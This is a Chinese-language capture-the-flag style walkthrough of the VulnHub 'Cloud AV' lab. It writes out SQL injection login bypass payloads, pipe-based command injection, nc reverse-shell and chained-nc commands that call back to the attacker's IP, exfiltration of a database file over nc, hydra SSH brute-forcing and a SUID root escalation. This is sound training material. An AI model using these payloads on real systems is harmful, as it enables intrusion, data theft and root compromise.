主頁 >  其他 > 一起來打靶 02

一起來打靶 02

2022-03-24 08:10:26 其他

0x00 靶機介紹

靶機地址:BoredHackerBlog: Cloud AV ~ VulnHub

靶機難度:低(思路和技巧)

推薦虛擬機:VirtualBox

0x01 內容簡介

  • 涉及的攻擊方法

    • 埠掃描
    • WEB偵查
    • SQL注入
    • 命令注入
    • 密碼爆破
    • 代碼審計
    • NC串聯
    • 本地提權
  • 簡介

    雖說難度級別為低,但是從還原整個滲透程序的角度來看,這個靶機非常全面,

    為了更加全面的還原真實滲透思路,所以即便是失敗的嘗試程序,我也為大家完整的進行了展示,同時最終的總結階段,我增加了圖示來突出滲透程序的線索,希望將成果與識訓沉淀下來,成為學員頭腦中可復用的經驗,

  • 背景

    • 是一個云防病毒掃描服務!目前處于測驗階段
  • 打靶目標

    • 滲透該服務,找出漏洞并提權

0x02 環境搭建

下載好靶機.ova檔案后匯入到VirtualBox中即可

確保靶機和kali在同一網段中

kali IP地址:10.0.2.7

0x03 主機發現

因為靶機和kali在同一網段中,所以優先選擇二層的主機發現技術

上次使用了arp-scan這個工具,本次使用arping,做同一件事情使用不同的工具原因如下

arp-scanarping對比

  • 相同點
    • 都可用來二層的主機發現
  • 不同點
    • arp-scan更傾向于滲透測驗使用的工具,更接近于黑客工具的定位
    • arping是幾乎所有的Linux發行版當中都會默認包含的一個工具,從工具的廣泛度而言arping可以在更多的環境下使用它,因為在很多情況下,滲透的目標系統可能并不包含像arp-scan這種更傾向于黑客的工具

使用arping進行主機發現,短板是沒有辦法對一段的IP地址進行一次性的,統一的主機發現;所以使用時需要結合shell的回圈陳述句

對kali所在的網段10.0.2.1-10.0.2.254進行掃描

執行命令:for i in $(seq 1 254); do sudo arping -c 2 10.0.2.$i | grep "time="; done

image-20220317010108403

10.0.2.1-3這三個IP是虛擬機軟體為了完成基本功能所使用到的IP,所以一定不是靶機IP,故10.0.2.8就為靶機的IP

10.0.2.8進行全埠的掃描

執行命令:sudo nmap -p- 10.0.2.8

image-20220317010508737

掃描結果顯示開放了228080兩個埠,繼續對228080兩個埠進行服務版本的發現

執行命令:sudo nmap -p22,8080 -sV 10.0.2.8

這些命令和引數都是非常通用的,即便在真實的滲透環境下,基本上也是按照這樣的順序,先做主機發現,然后做埠掃描,最后再做服務和應用版本的發現

image-20220317010931601

掃描結果顯示

  • 22埠,開放的是OpenSSH 7.6p1這個版本的的SSH服務
  • 8080埠,開放的是httpd服務,并且服務端仍然使用的是Werkzeug這個使用python開發的web應用底層開發框架,和靶機01的情況完全相同

0x04 WEB偵察

既然開放了web服務,那么肯定要打開瀏覽器訪問一下:http://10.0.2.8:8080

image-20220317011645736

從頁面的提示資訊中可以得到,這是一個云殺毒掃描器,需要輸入邀請碼成功登錄后才可以使用,云查殺服務,

這里的邀請碼本質上就類似于密碼的作用,頁面中的表單即為要攻破目標靶機的第一關任務

通過密碼來進行身份驗證的功能,攻擊思路一般有兩個

  1. 利用程式在服務端代碼上的邏輯漏洞,通過sql注入的方式繞過身份驗證
  2. 暴力破解方式,將密碼破解出來

接下來逐一演示這兩種方法,打靶的時候選擇其中一種就可以了

0x04-1 SQL注入繞過身份驗證

首先打開burpsuite并在瀏覽器上設定好burpsuite的代理

在頁面表單中隨便輸入一點內容,點擊Log in按鈕

image-20220317012758149

image-20220317012956058

可以看到burpsuite抓取到了本次提交的資料包,將其發送到Intruder模塊,利用其批量的,重復的資料提交能力向password這個位置提交一些特殊的符號,來測驗服務端是否包含一些常見的注入漏洞

Intruder模塊將password添加成資料的注入點

image-20220317013644530

配置Payloads,可以將鍵盤上的所有符號挨個注入一遍

背后的原因是在任何的編程語言環境中,鍵盤上可以輸入的符號,比如:, ' " %,都具有特殊的功能性的作用,當在注入點注入了所有的符號后,如果在這個位置存在某種注入漏洞的話,往往就會導致服務器端代碼執行出錯或者觸發漏洞,造成語意上的歧義,從而造成服務器端無法正常處理提交的請求,最后通過觸發這些漏洞就可以發現服務器端可能存在的注入漏洞,

手動添加或匯入以下內容的字典檔案

`
~
!
@
#
$
%
^
&
*
(
)
-
_
+
=
|
\
{
}
[
]
;
:
'
"
<
,
>
.
?
/

添加完成之后,點擊右上角的start attack按鈕,開始爆破

image-20220317151654231

對于資料提交之后的結果篩選通常會有兩種方法

  1. 通過回應的碼的方式,提交正確的資料和錯誤的資料,往往服務端的回應碼會有些不同

image-20220317151943268

  1. 通過回應長度的方式,提交正確的資料和錯誤的資料,往往服務端的回應的資料內容會不太相同,資料量是會有所差別的

image-20220317152146361

結果顯示,提交資料為"時服務器端回應碼與其余的不同,而且回應的資料量遠遠大于其他資料提交請求的回應

查看幾個回應碼是200的資料包,發現回傳的內容都是WRONG INFORMATION

image-20220317152617452

再查看回應碼是500的資料包

image-20220317152822457

通過查看回應內容發現,當提交資料為"的時候似乎觸發了服務端的例外報錯

從回傳的報錯中可以看到目標服務器的很多檔案系統路徑,發現當前服務端運行的應用程式具體放置在那個路徑之下,檔案名叫什么,透漏了很多服務端具體的資訊,比如/home/scanner/cloudav_app/app.py

最后一行顯示/home/scanner/cloudav_app/app.py第18行,由于注入了"而導致了這個報錯,其中有一段是sql的查詢陳述句,可以猜測提交的"似乎是被拼接到了當前的sql查詢陳述句當中

拼接sql陳述句的代碼為

select * from code where password="; + password + ";

當提交的資料為"時,sql陳述句就會變成這樣

select * from code where password="; + " + ";

第一個"與我們提交的"進行了閉合,導致了最后一個"沒有另外一個"與其閉合,從而觸發了服務端代碼執行的錯誤

這是一個典型的sql注入漏洞,嘗試構造Payloads,攻擊這條sql陳述句,實作在不知道密碼/邀請碼的情況下也可以登錄后臺

經常使用的一個攻擊方法就是通過邏輯,Payloads如下

select * from code where password="; + " or 1=1--  + ";

由于or 1=1永遠為真,所以不論雙引號中包裹的是什么資料,最終在執行sql陳述句的程序中都會判定后面的判斷陳述句為真

-- 表示的是sql陳述句中注釋符(注意后面--還有有一個空格)

關閉burpsuite資料包攔截功能,通過瀏覽器提交構造的Payloads

" or 1=1-- 

image-20220317155907402

點擊log in按鈕,提交到服務端

image-20220317160150219

成功登錄到了后臺,從頁面內容中可以得知,在表單中輸入檔案名,提交到服務端之后,服務端就會對這個檔案進行查殺

0x04-2 暴力破解邀請碼

首先打開burpsuite并在瀏覽器上設定好burpsuite的代理

在頁面表單中隨便輸入一點內容,點擊Log in按鈕

image-20220317012758149

image-20220317012956058

可以看到burpsuite抓取到了本次提交的資料包,將其發送到Intruder模塊,利用其批量的,重復的資料提交能力向password這個位置嘗試進行爆破

Intruder模塊將password添加成爆破點

image-20220317013644530

選擇爆破密碼使用的字典檔案

image-20220318235150450

在kali的/usr/share/wordlists目錄下存放著很多的密碼字典檔案可供選擇,本次就選擇一個比較簡單的,比如nmap.lst這個nmap通常使用的字典檔案

加載好密碼字典檔案后,點擊右上角的Start attack按鈕開始爆破

image-20220318235614067

對于資料提交之后的結果篩選通常會有兩種方法

  1. 通過回應的碼的方式,提交正確的資料和錯誤的資料,往往服務端的回應碼會有些不同

image-20220319000050158

  1. 通過回應長度的方式,提交正確的資料和錯誤的資料,往往服務端的回應的資料內容會不太相同,資料量是會有所差別的

image-20220319000439513

結果顯示,提交password的服務器回應資料量遠遠大于其他資料提交請求的回應

查看幾個回應資料長度是175的資料包,發現回傳的內容都是WRONG INFORMATION

image-20220319000703851

查看唯一一個回傳資料包長度是345的回應

image-20220319000906631

發現當提交資料為password時,服務端回傳的回應包含重定向,重定向到了/scan路徑下

嘗試在瀏覽器表單中輸入password并提交

image-20220319001201744

點擊log in按鈕,提交到服務端

image-20220317160150219

成功登錄到了后臺,從頁面內容中可以得知,在表單中輸入檔案名,提交到服務端之后,服務端就會對這個檔案進行查殺

0x05 命令注入

構想一下這個web應用程式是如何實作防病毒掃描的

image-20220317161045268

首先對于紅框中的部分,很容易聯想到在Linux系統中執行ls -l回傳的結果,所以有理由猜測顯示的檔案就是放置在服務端的一些檔案

可以猜測,當在表單中輸入某個檔案名比如hello并提交給服務器后,服務器端可能會呼叫某種殺毒軟體比如xxxscan,執行命令xxxscan hello,來進行掃描

如果真是這樣的話就可以利用Linux shell中的管道符來執行其他的命令

管道符號,是Linux一個很強大的功能,符號為一條豎線:"|",

用法:command 1 | command 2

功能是把第一個命令command 1執行的結果作為command2的輸入傳給第二個命令command 2

利用管道構造Payloads

hello | id

在瀏覽器的表單中提交Payloads

image-20220317162450219

等待片刻之后,發現注入的id命令的確被服務端執行了

image-20220317162615896

結果顯示當前程式運行的賬號是scanner,既然命令注入漏洞已證實存在,接下來就可以通過注入更多的執行來完成反彈shell的目的

0x06 NC串聯

通過之前的掃描結果可以得知服務器端有Python的執行環境,所以可以使用靶機01中的Python反彈shell代碼

但是在這里介紹一種新的方式,使用nc命令

查看服務器端是否有nc命令,構造Payloads

hello | which nc

在瀏覽器的表單中提交Payloads,等待片刻之后

image-20220317163541484

結果顯示服務器端包含有nc這個命令,那么接下來就可以使用nc來反彈shell

首先在kali端啟動偵聽

執行命令:nc -nvlp 4444

image-20220317163700163

通常情況下nc命令都會有一個-e引數,可以指定在連接成功后,執行一個shell的終端,將接收到的資料放到shell終端中執行并回傳結果

利用nc命令反彈shell,構造Payloads

hello | nc 10.0.2.7 4444 -e /bin/sh

在瀏覽器的表單中提交Payloads,等待一段時間之后,發現kali上的nc并沒有接收到反彈的shell連接,這是因為

nc命令有很多的版本,在每一個Linux發行版當中都可能使用不同的版本,有的版本帶-e引數,有的版本不帶-e引數

-e引數去掉,看看能不能連接成功

構造Payloads

hello | nc 10.0.2.7 4444

在瀏覽器的表單中提交Payloads,等待片刻之后,發現服務端nc的基本連接成功可以正常使用

image-20220317165746515

也就意味著服務器端nc的確存在且可以正常使用,只是不帶-e引數

對于此種情況可以利用到一個使用nc的技巧,叫做

nc串聯

具體使用方法是

nc 10.0.2.7 3333 | /bin/bash | nc 10.0.2.7 4444

執行的邏輯是:nc 10.0.2.7 3333接收來自遠程的命令,通過管道符|將命令傳遞給/bin/bash來執行,再次通過管道符|將命令執行的結果傳輸給nc 10.0.2.7 4444

利用此種方法需要再kali上開啟兩個偵聽埠

執行命令:nc -nvlp 3333

? nc -nvlp 4444

image-20220317170601088

構造Payloads

hello | nc 10.0.2.7 3333 | /bin/bash | nc 10.0.2.7 4444

在瀏覽器的表單中提交Payloads,等待片刻之后

image-20220317172254354

3333埠和4444埠連接都建立成功,并且在3333埠上輸入命令,執行的結果會在4444埠這邊顯示出來,利用nc命令反彈shell成功

0x07 查看SQLite資料庫

通過以上的ls命令可以看出在當前目錄下存在app.pydatabase.sql等4個檔案

首先對app.py進行代碼審計一下,查看是否有提權的漏洞

執行命令:cat app.py

image-20220317173854227

一番審計過后,并沒有發現什么后期提權為root用戶似乎并沒有什么幫助

再來關注一下database.sql檔案,使用file命令查看檔案的格式

file命令用來識別檔案型別,也可用來辨別一些檔案的編碼格式,它是通過查看檔案的頭部資訊來獲取檔案型別,而不是像Windows通過擴展名來確定檔案型別的,

執行命令:file database.sql

image-20220317173956675

從結果中可以得知這是一個SQLite 3.x的資料庫檔案,結合之前sql注入回傳的報錯資訊,有理由懷疑這個資料庫檔案就是web應用程式服務端使用的資料庫,因為SQLite就是一個本地的資料庫,資料庫的內容都是以資料庫檔案的方式存放在目標服務器的檔案目錄下

這里面是否包括一些機密的資訊呢?有理由要查看一下,嘗試打開這個資料庫檔案

執行命令:sqlite

? sqlite3

image-20220317190329334

執行命令之后無任何回顯結果,說明在目標靶機上沒有sqlite決議環境,所以不得不將database.sql資料庫檔案下載到kali上進行決議

通過nc命令來傳輸檔案

首先在kali上偵聽一個埠,并將接收到的資料轉發到db.sql這個檔案當中

執行命令:nc -nvlp 5555 > db.sql

image-20220317190632632

在目標靶機上,通過nc連接kali,并通過重定向命令發送檔案

執行命令:nc 10.0.2.7 5555 < database.sql

image-20220317190849549

image-20220317190921059

命令執行完畢之后,在kali端接收到了連接,因為database.sql檔案不是很大,很快就可以傳輸完畢,所以等待一會之后就可以結束nc在5555埠上的連接

查看當前目錄

image-20220317191149806

db.sql已經創建成功,使用kali中的sqlite打開資料庫檔案,

執行命令:sqlite3 ,進入sqlite的命令提示符下

image-20220317191359942

接著查看資料庫的內容

image-20220318212938623

從顯示的資料中可以看到,資料表code中只有一個欄位password,其中匯入了四個密碼

0x08 SSH爆破

從資料庫中獲得了四個明文密碼,又由于之前的掃描得知目標系統是開啟SSH服務的,按照流程應該利用賬號及這些密碼嘗試能否成功登錄目標系統

首先查看目標系統中可以登錄的用戶賬號

利用nc在目標系統上執行命令:cat /etc/passwd 或者 cat /etc/passwd | grep /bin/bash

image-20220318214526748

從中可以得到3個可用于登錄系統的賬號

禁止用戶登陸的 /bin/false和/sbin/nologin的區別

1 區別
/bin/false是最嚴格的禁止login選項,一切服務都不能用,
/sbin/nologin只是不允許login系統

小技巧:
查看 /etc/passwd檔案,能看到各用戶使用的shell

2.1 nologin
當用戶配置成/sbin/nologin時,如果再使用該用戶ssh到linux作業系統,會提示
This account is currently not available.

2.2 false
當用戶配置成/bin/false時,ssh之后顯示如下
root@vultr:~# useradd -s /bin/false -M -N user111
root@vultr:~# su user111
root@vultr:~# whoami
root

不會有任何提示,用戶切換不過去

將這三個賬號保存為用戶名字典檔案user.txt,內容如下

image-20220318215108177

再將資料庫中的四條密碼保存為密碼檔案pass.txt,內容如下

image-20220318215251905

使用hydra命令對SSH進行爆破

執行命令:hydra -L user.txt -P pass.txt ssh://10.0.2.8

image-20220318215644967

執行結果令人失望,沒有在其中得到任何一個可用的賬號密碼,通過賬號密碼遠程登錄目標系統SSH服務的攻擊意圖失敗了...

這是一個失敗的嘗試

當在做真實的滲透測驗攻擊時,經常會收集到看似有用的資訊,比如賬號密碼資訊,但是拿著已經獲得的機密資訊去做進一步攻擊時往往是會失敗的,雖然攻擊結果是失敗的,但是并不代表這這一次的嘗試是無意義的,其實這些看似失敗的嘗試也是在進行滲透測驗攻擊思路中非常重要的一部分,所以當收集到這樣的資訊時,做這樣的嘗試是非常非常有必要的,

0x09 SUID提權

既然通過SSH爆破的攻擊方式失敗了,接下來就不得不在目標系統上進行其他的資訊收集手段尋找可以成功提權的攻擊手段

查看當前目錄及子目錄下的檔案內容,看看有沒有對提權有幫助的資訊

image-20220318222819670

一番查看并沒有尋找對提權到什么有用的資訊

回到上一級目錄,再看看其他的檔案內容資訊

image-20220318223319808

對于其中以.開頭的隱藏檔案也是有必要一個一個檢查的,不過經過一番查看后在這些隱藏檔案中也并沒有發現對做提權攻擊有幫助的資訊

不多啰嗦了,接下來就直奔對做提權攻擊有幫助的目標

可以看到在當前目錄下有update_cloudavupdate_cloudav.c這兩個檔案名稱相同的檔案,其中update_cloudav是一個可執行的檔案,那么就有理由懷疑update_cloudav.cupdate_cloudav的源代碼檔案

值得注意的是update_cloudav權限是-rwsr-xr-x,是帶suid權限標記位的,更令人驚喜的是這個程式的屬主是root賬號

凡是具有suid權限標記位的可執行檔案,當這個檔案一旦執行的時候,無論當前是任何用戶賬號,在執行這個檔案后就會默認繼承這個檔案屬主的權限,也就是root的權限

可以設想一下如果可以執行update_cloudav程式,再通過某種命令注入的方法,利用它的suid權限標記位,若利用成功就可以用root權限來執行目標系統中的命令,包括任何可以反彈shell的命令,最終的結果就都會形成獲得了一個root權限的反彈shell

所以suid位也是進行本地提權非常重要的一種手段,當然靶機01使用到的利用內核漏洞進行本地提權的手段也非常重要,它們倆都非常的常用

順著這個思路,為了實作提權,非常有必要查看一下update_cloudav的源代碼檔案,看看這個程式是如何呼叫系統指令,如何跟系統進行互動的

利用nc在目標系統上執行命令:cat update_cloudav.c

image-20220318230605563

簡單查看之后,發現這個C語言源代碼檔案非常的簡單,僅僅時呼叫了系統當時已經存在的程式freshclam,同時強制要求在執行的時候傳遞一個或多個命令列引數,最終將freshclam與傳遞的引數拼接起來執行,

其中freshclam是開源殺毒軟體的ClamAV進行病毒庫更新的程式,參考連接:ClamAV病毒查殺 - 簡書 (jianshu.com)

C語言函式

函式名:setgid - set group identity(設定組ID)

函式名 setuid - set user identity(設定用戶ID)

參考連接:

  • setuid與setgid講解 - 簡書 (jianshu.com)
  • linux c setuid函式決議_whatday的博客-CSDN博客_linux setuid函式

隨便跟一個引數,執行一下update_cloudav試試

image-20220318232245672

程式似乎報錯了

現在并不清楚關于這個日志檔案freshclam.log的報錯是否會影響update_cloudav程式的正常運行,進而又是否會影響嘗試利用這個程式的suid權限標記位來達到提權的目的

在真實的滲透測驗程序中,很多時候獲得的資訊也并不完整,所以很多情況下都需要大膽嘗試,按照我們頭腦當中構想的滲透思路,通過實踐來驗證我們的攻擊思路

接下來不妨大膽的嘗試一下再次利用NC串聯來構造Payloads,進而反彈shell

構造的Payloads如下

"a | nc 10.0.2.7 5555 | /bin/bash | nc 10.0.2.7 6666"

之所以要用雙引號將所有的內容包裹起來是為了讓update_cloudav這個程式將雙引號中的內容全部作為執行它的命令列引數,從而繼承它的的suid權限,獲得root權限的反彈shell

在執行這個Payloads之前需要在kali行偵聽55556666兩個埠

執行命令:nc -nvlp 5555

? nc -nvlp 6666

image-20220318233731422

然后通過nc在目標系統上執行構造的Payloads

執行命令:./update_cloudav "a | nc 10.0.2.7 5555 | /bin/bash | nc 10.0.2.7 6666"

image-20220318233958802

執行完畢后查看kali端偵聽的兩個埠是否建立了連接

image-20220318234152357

可以看到連接成功建立,NC串聯再次成功

可喜可賀,取得了root權限的反彈shell,本次打靶圓滿完成!

0x0a 總結

  • 打靶程序圖片概述

靶機 02

  • 打靶程序文字概述
    1. 首先做了主機發現,發現靶機IP地址之后,對它進行了埠掃描以及服務版本的掃描,進而發現了一個作業在目標靶機8080埠的HTTP服務
    2. 通過瀏覽器訪問8080埠上的WEB服務,在默認的WEB頁面上發現了sql注入漏洞,使用sql注入漏洞或暴力破解邀請碼的方式登錄到了WEB應用的后臺
    3. 在后臺頁面中,很容易的發現的一個命令注入漏洞,并且利用這個命令注入漏洞獲得了一個反彈shell
    4. 取得了反彈shell之后,要做的就是在目標靶機上進行資訊收集,在這個階段當中發現了一個資料庫檔案,在其中發現了一些疑似密碼的字串
    5. 利用這些疑似為密碼的字串嘗試進行SSH密碼暴力破解,然后并沒有成功
    6. 于是不得不進一步再去收集更多的資訊,最終在目標系統上發現了擁有suid權限的可執行程式
    7. 通過代碼審計發現了代碼當中的一些問題,并找到了利用suid提權漏洞的攻擊方式
    8. 最終取得了目標靶機的root權限,完成了整個的打靶程序
  • 打靶程序對應的視頻鏈接:點擊查看

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/448150.html

標籤:其他

上一篇:華為云資料庫內核專家為您揭秘MySQL Volcano模型迭代器性能提升千倍的秘密

下一篇:3D視覺 之 線激光3D相機

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more